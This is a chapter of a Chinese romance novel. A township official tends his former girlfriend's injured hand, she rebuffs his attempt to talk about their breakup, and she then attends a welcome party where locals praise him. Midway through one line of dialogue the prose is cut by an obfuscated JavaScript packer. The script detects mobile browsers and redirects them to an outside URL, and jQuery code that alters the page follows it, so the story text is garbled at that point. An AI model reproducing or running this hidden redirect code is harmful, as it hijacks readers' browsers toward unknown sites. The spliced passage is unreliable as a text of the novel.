周覆看她的眼神不算清明,声音亦低哑:“难说,不过我通知卫生站了,他们明天会来给整栋楼消一次毒,好在夏天也快过去了,不用太担心。” “哦,那就好。”程江雪又低头,继续用棉签蘸饱了碘伏,给掌心消毒。 周覆伸手扶她起来,把她安置在了椅子上:“刚摔的吗?” 心绪平静没多久,程江雪一时还没意识到他们现在离得有多近。 她没看他,低柔地出声:“嗯,破了一点皮。” “我来。”周覆从她手里抽走了棉签,托住了她的右手。 指腹相蹭的瞬间,程江雪身体一僵,借着抬眸的机会细看他,疑惑的眼神扫在他脸上。 周覆涂完药后,又把她的手举高了一点,疼惜地用嘴吹了吹。 “你这又是干什么?我自己会弄。”程江雪后知后觉地发力,试图把手抽出来。 但周覆牢牢握着不肯松,他注视着她:“你不会弄,你上一次药就不肯再上了,只会不听话,搞得伤口发炎。” 她的确有过前科。 大三时学游泳,程江雪赤脚踩在台阶上,没留神,摔了一跤,膝盖上磕掉一小块肉。 周覆带她去看了医生后,叮嘱她每天换药,伤口不要沾水,但回了学校她就忘了,过了几天,伤口周围又红又肿,人也起了低热,半夜被送到急诊室输液。 程江雪红了下脸,眼珠子乱转片刻,最后回到他身上:“我......我现在大了几岁,不会再有那样的情况了,你少自以为是。” 她一急就开始喘,温热软甜的气味扑到他面上。 讲到末尾,习惯性地撅起唇看他,像受了冤枉气。 不知道该形容成可爱还是娇蛮,他只是生出一种想吻她的冲动。 但是不行,他没了相应的身份,也不会再得到她的许可。 凭自己高兴做事,除了让程江雪愈发反感他,什么作用也起不到。 她对他的讨厌已经够显山露水的。 两两相望间,周覆眼中的积压的情欲像窗外暗下来的天色,浓得化不开。 他一只手搭在椅背上,另一只抓紧了桌子边沿,强势地把程江雪圈禁在这个范围内,进犯性十足。 程江雪知道,在气力上他们对比悬殊。 周委员的教养是公认的,出色到无可辩驳,言语风趣,行事稳重,但私下底他有另一张人皮,这一点,程江雪更是领教够了。 窗玻璃被晒得发烫,像一块曝光过度的底片,无休止的蝉鸣充斥了整个黄昏。 这些小虫子喧闹得如此巨大,如此具体,潮水一样声嘶力竭地拍打进来,衬得屋内的安静更加深重,两个人连彼此的呼吸都能听见。 程江雪又动了两下手腕,还是没挣开。 在这副情形下,她仍不合时宜地想起很多片段,周覆吻开她唇瓣时的温柔旖旎,撞进她身体时的滚烫有力,她软在他的怀里,四肢都攀附在他的身上,像一支无根的水生漂浮植物,被他从下抛到上,颠来荡去。 程江雪的脖颈浮起不正常的粉,她强压着快冲出喉咙的心跳,轻声质问:“还开着门呢,你就要胡作非为了吗?” “我在你眼里就是这样的人?”周覆听笑了,他的喉结突兀地滚了下,几分自嘲地反问,“你和我在一起的时候,我有勉强你做过什么吗?哪一次我不尊重你的意愿?就算是在床上,我自己都被你弄得受不了,但你一说吃不下,力气太大,我还不是拼了命地忍住,我有哪一点没体贴到......” 程江雪听得脸热,慌忙打断:“闭嘴,你这个老流氓。” 看着她玉脂一样的耳垂渐渐变红,周覆更加难忍了。 他一字一句地缓慢吐气:“好,我闭嘴。不说过去了,说现在。” “现在?”程江雪一脸感到荒谬的表情,“过去都没什么好说的,现在就更没有了。” 对着这么个冥顽不灵的女孩子,周覆身体里的冲动一点都没退,反而被她的天真勾得愈演愈烈。 他的自制力快要耗尽,喉咙干涩地咽了下:“怎么会没有呢?我有很多话要和你说,可以给我十分钟吗?” “不可以。”程江雪的嘴比脑子还快。 还有什么好说的?关于他不婚主义的宣言,以及那条戴在汪小姐脖子上的珍珠项链,她不想再听第二遍。 靠得这么近感受她,闻着源源不断飘来的暖香,周覆胸口闷得厉害,他皱了下眉:“你连解释都不要听?” 程江雪摇摇头:“不听。” “程江雪。”周覆像是动了火气,连名带姓地严肃叫她。 她大胆固执地迎着他的目光,嗯了一声。 趁他分神的功夫,程江雪把头一偏,身子一歪,从他的手臂下方钻了出来。 她靠着桌子站直了,明明白白地告诉他:“周覆,我和你之间本来就没有误会,所以也用不着解释。” “没有误会。”周覆低声复述了一遍她的话,眼眸低垂,“好,那麻烦程小姐告诉我,既然没有误会,我们为什么会分手?” 程江雪眼皮一跳,她猛地往上掀起来,用了三分力。 所以,现下这种状况,她是不是可以理解成,周覆在跟她翻旧账? 他有什么立场? 她讥诮地扬了扬唇:“当然是因为我不再爱你了。” “是吗?” “是。” 周覆的视线从椅子上收回,连同修长的手臂也无声地垂落。 他下巴微低,长久地、不甘地盯着她的脸看,像丈量一片没有边际的田野。 程江雪亦回望他,脑子里一闪而过的,是她去周家的情景。 那是一个午后,阳光斜斜地穿过翠绿的树冠。 大院的围墙高而厚重,森严框出一片幽深天地,苏式风格的小楼样式朴素,半掩在浓密的树影里,外墙是庄重的暗红,经风雨而不颓败。 应季的花卉艳丽地盛开,色彩饱满,明明连枝芽都刻意遵循着某种隐而不宣的秩序修剪过,看上去却又意趣横生。 周覆的妈妈从里面走出来,优雅周全地招待她,可那个和煦的微笑在她看来,总像是一个冰凉的审视。 太阳底下,程江雪被冻得打了个颤。 那两年,她在他的身上已经透支了太多的不清醒。 起止是观念哪,他们两个从身份到门第,简直没一样般配的地方。 “你不再爱我了,是吗?”周覆站在那里,脸上是纹丝不动的稳重。 只有那双眼睛逐渐失却神采。 不知是否程江雪眼错,她仿佛看见他眼底有轻柔的水光荡漾开,仿佛一片落在湖中的枯叶,细微地趔趄了一下。 但她更愿意相信,是窗外的叶影在晃动。 程江雪的目光刺进他晦暗的眼底:“你还没有老到一句话要重复两遍才能听清的地步吧,周委员?” 她藏在身后的指尖轻颤了一下。 人在脆弱彷徨时,反而会表现出过度的强硬和刻薄。 明明周覆态度温和,但她还是不留情面地反击。 她说不清为什么,也许发自对尊严的病态维护,也许是怕不这么说,自己又要落入他的迷魂阵。 周覆艰涩地笑了下,徐徐追问:“那我能不能知道,是从哪一天,哪一个时刻,哪一秒钟,你开始不爱我的?” 他站在她面前,身形依旧高大笔直,却仿佛被抽去了一截筋骨,显出一种不协调的软弱。 程江雪答不上来,攥在桌子边沿的指节泛出青白:“第一天见到你我就说了,像这种小事,我早就不记得了。” “这也不记得,那也不记得。”周覆克制地敛着眼神和语气,“出鬼了,恋爱好像是我一个人谈的。” 程江雪被他问得措手不及。 情急之下,赌气般说出一句:“那就当是吧,麻烦你不要再来提起那些事。今天你帮了我,我很谢谢你,但就当我们萍水相逢,好吗?” “明白了。”周覆吐出三个字,声音平缓,一丝涟漪也没有。 他举手将剩下的碘伏放在桌上,用手点了下:“记得搽药,不是闹着玩儿的,这里医疗条件不好。” “知道。”程江雪只觉得室内的空气凝滞沉重,她快透不过气。 周覆转身走了,步子沉稳健旺,没有丁点的犹豫。 但背影快要融入门外走廊的阴影里时,他稍稍停顿了下,极短暂地回头看了这边一眼。 随后,便坚决地旋入了那片更深的晦暗之中。 那目光又深又远,穿过了她,投向窗外越来越浓的暮色,像对某种既定事实的最终确认。 房间里静了下来,连蝉声都配合地停了,只有程江雪的呼吸在回荡。 她刚才看得清清楚楚,周覆看过来的最后一眼里,盛满了灰烬般的冷,重得像夜半的叹息。 但这怎么可能呢? 周覆这样洒脱的人,不至于眷恋一段不欢而散的恋爱。 也不可能因为大了三岁,儿女情长这种对人生没什么妨碍的东西,就忽然在他的心里被抬高到了这么一个重要的地位。 在学校的时候,那么多女孩子都钟意他,他坐在办公室里,眼也不抬收情书的手势,随意地像推开便利店的门。 不过是情境作祟,让他想起了一点过去,才随口说两句伤感的话。 天色沉沉暗下来,黄昏的余晖挣扎着挤过窗沿,在桌上投下几道虚弱的光。 程江雪扶着它,缓慢地在椅子上坐下来。 她垂下眼,一下下地抚着膝头的裙摆,动作细致而专注。 她就这么来来回回的,抚平了一道根本不存在的褶皱。 直到李峥在楼下大喊她的名字:“程老师,你好了吗?” 喊到第二遍时,程江雪回过神,探出一点身子说:“稍等, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141110|179753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就来了。” 她关好门,扯紧窗帘,把身上的睡裙脱下来,换了一条。 程江雪拿上手机出门时,周覆的房门关着,她也没多看,小跑着下了楼。 “不好意思,有点事情耽误了,等久了吧?”她在李峥面前站定。 程江雪穿了条复古格纹裙,腰上系一根细细的黑色皮带,随手用丝巾绑了个低垂发髻。 李峥看不出是什么牌子,他只是觉得她很有腔调,每一根头发丝都精致又松弛,晚风吹过时,浮动着似有若无的香气。 明明程江雪的五官美得不算突出,但她文文静静地站在那儿,就是能毫不费力地营造出赏心悦目的氛围,让人觉得她和雅标致。 李峥摇摇头,回过神:“没事,我也才到一会儿。” “嗯,那走吧。”程江雪说。 礼堂里声如沸水,喧喧攘攘。 刚一进去,就看见一条红布横幅悬在高处,从程江雪的角度,只能看见热烈欢迎四个字。 不知道谁眼尖,高声喊了一句:“两位老师来了!” 接待办的两名年轻女同事上前,一左一右地架住了程江雪和李峥。 左倩挽着她说:“程老师,知道你是江城人,这些点心都是下午我去县城买的,还订了一个蛋糕,你看看喜不喜欢?” “左姐姐,你们太客气了。”程江雪眉间的蹙色消失殆尽,轻声说,“不用这么破费的。” 左倩哎哟了一声:“黎书记都说了,你从那么远的地方来支援我们镇上的教育,不能一点表示也没有吧,那也太不像话了。李老师也是,一会儿多吃一点,晚些时候还有舞会呢。” 李峥局促地扶眼镜:“我......我不会跳舞。” “没关系,我会。”左倩大方热情地凑过去,“我可以教你啊,很简单的。” 无一例外,每个单位搞接待的女孩子都样貌美丽,举动活跃,说话讨人欢喜。 尤其左倩带着任务来的,大概也被交代了,尽管条件艰苦,但要让两位老师感到受重视,玩得高兴。 程江雪觉得李峥快招架不住了,笑着帮腔:“是呀,我也还没看过李老师跳舞呢。” “看看,老同事都没见你跳过。”左倩已经拉过李峥,“要勇于尝试新鲜事物嘛,来,你跟我坐。” 他们坐在了对面,程老师小心压着裙摆,拣了个靠边的位置。 人都来得差不多了,但还有几个座位空着,她身后男男女女都有,全是镇上的工作人员。 她身边还有个人,是和她一样不愿意引人注目的吴珍玉。 珍玉朝她笑:“又见面了,程老师,你的裙子真好看。” 程老师来了快一个月,她们几次相见,吴珍玉都会被她那双眼睛吸引,清澈、明亮又宁静,说话时有种温和的坚定与善意。 小表弟回到家中,十句里有八句都是在夸程老师,说她知识渊博,声音好听,连背课文都比过去起劲。 吴珍玉觉得无可厚非。 这么一位书卷气浓的女老师往讲台上一站,她说什么都会让人信服的。 “谢谢。”程江雪拈了一颗葡萄,慢慢地剥着皮,“晚会怎么还不开始?” 吴珍玉说:“好像要等黎书记来宣布吧。” “黎书记来不了,被叫去县里受表彰了。”于涛知道一些内情,从后面插了一句,“下午的会都是周委员主持的,看样子是临时通知他的,他到的时候裤腿上还有泥,刚去塘里查看了稻花鱼的养殖情况。” 又有人接话:“年轻人干劲足,我看周委员一天下来,要做我们四五倍的工作,有时候半夜打大楼前过,他办公室还亮着灯。” “当然,黎书记面和心软,毕竟有年纪了,精力有限,上面出于这一层考虑,也要调个实干派到咱们乡来,这样才好开展工作。” “按规定,选调生都要有基层工作经历,周委员怎么样都会派下来,只不过是落在咱们乡里了而已。” 旁边年纪大些,有资历的干部点头赞许:“周委员是个敢干事,也能干事的,不是他一次又一次地去省里争取,工程款能这么快批下来?咱们村的路灯不修好配齐,到现在还摸黑过桥呢,哪一年不摔两个倒霉蛋到河里去!人又是难得的儒雅,和他说话,也从来不托大。” 他们声音不高,山里的雾气一样钻进程江雪的耳膜。 人人都觉得他稳重可靠,从工作到生活,都是个值得信赖、托付的对象。 但谁能知道,他们在一起的时候,周覆曾不止一次地说,程江雪,不管和什么男人交往,托付心都不要太重了。 他是一个比她更理智,也更成熟的伴侣。 而掉入爱情陷阱的程江雪,为他们的未来做了很多打算,盲目憧憬了无数美好温馨的画面。 可到后来才明白,一辈子自在放纵的周公子,压根没想要参与到任何人的未来里。 多伤人啊,她最终在这场一厢情愿的误解里,狞着脸哭醒过来。